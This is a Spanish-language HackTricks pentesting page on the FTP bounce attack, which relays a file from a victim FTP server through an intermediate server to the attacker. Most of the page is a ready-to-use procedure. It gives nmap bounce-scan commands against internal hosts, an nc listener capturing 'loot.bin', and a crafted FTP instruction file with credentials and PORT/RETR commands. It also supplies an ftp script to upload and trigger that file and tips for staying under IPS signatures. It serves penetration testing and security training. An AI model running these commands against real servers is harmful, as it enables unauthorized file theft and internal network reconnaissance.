FTP Bounce — Descarga 2 de archivo FTP

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Si tienes acceso a un bounce FTP server, puedes hacer que solicite archivos de otro FTP server (donde conoces algunas credenciales) y descargar ese archivo a tu propio server.

Requisitos

  • Credenciales FTP válidas en el FTP Middle server
  • Credenciales FTP válidas en el Victim FTP server
  • Ambos servidores accept the PORT command (bounce FTP attack)
  • Puedes write dentro de algún directorio del FTP Middle server
  • El FTP Middle server tiene more access dentro del Victim FTP server que tú

Pasos

  1. Conéctate a your own FTP server y pon la conexión en modo pasivo (pasv command) para que listens en un directorio donde el servicio Victim enviará el archivo.
  2. Crea el archivo que el FTP Middle server enviará al Victim server (el exploit script). Este archivo será texto plano con los comandos necesarios para autenticarse en el Victim server, cambiar de directorio y descargar un archivo a your own server.
  3. Conéctate al FTP Middle Server y sube el archivo anterior.
  4. Haz que el FTP Middle server establish a connection con el Victim server y envíe el exploit file.
  5. Capture el archivo en your own FTP server.
  6. Delete el exploit file del FTP Middle server.

Verificación rápida de bounce hosts vulnerables

  • Nmap todavía soporta FTP bounce checks. Ejemplo para verificar un posible middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Si el servidor rechaza valores PORT de terceros, el escaneo fallará; algunas impresoras embebidas/legacy, NAS y daemons FTP de appliance todavía lo permiten.

Automatizar la 2ª descarga FTP

A continuación hay una forma modernizada de obtener un archivo a través de un servidor FTP intermedio vulnerable.

  1. Abre un passive listener en tu máquina de ataque (any TCP sink sirve):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Anota tu IP como A,B,C,D y el puerto P como p1,p2 (p1 = P/256, p2 = P%256).

  2. Construye el archivo de instrucciones que el servidor intermedio reproducirá hacia la víctima:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Sube y dispara desde el servidor intermedio (proxy FTP clásico):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Recoge el archivo desde tu listener (loot.bin).
  2. Limpia el archivo instrs subido en el servidor intermedio.

Notas:

  • El padding (dd ...) evita que la conexión de control se cierre antes de que termine el RETR (problema de ventana TCP grande tratado en writeups clásicos).
  • Cualquier servicio que pueda escuchar y volcar TCP puede reemplazar el socket FTP PASV (por ejemplo, socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Si el servidor intermedio restringe puertos privilegiados, usa un puerto alto en PORT y ajusta tu listener en consecuencia.

Trucos extra

  • Usa un bounceable FTP server para escanear puertos de hosts internos cuando el reenvío de archivos esté bloqueado:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Algunos WAF/IDS modernos (p. ej., Juniper IPS) incluyen firmas específicamente para FTP:EXPLOIT:BOUNCE-ATTACK; payloads ruidosos o la falta de padding pueden activarlas.
  • Cuando el servidor intermedio impone restricciones de “PORT al mismo host”, coloca tu listener en el propio servidor intermedio (si tienes permisos de escritura/ejecución) y reenvía el archivo capturado después.

Para un walkthrough old-school más detallado consulta: http://www.ouah.org/ftpbounce.html

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks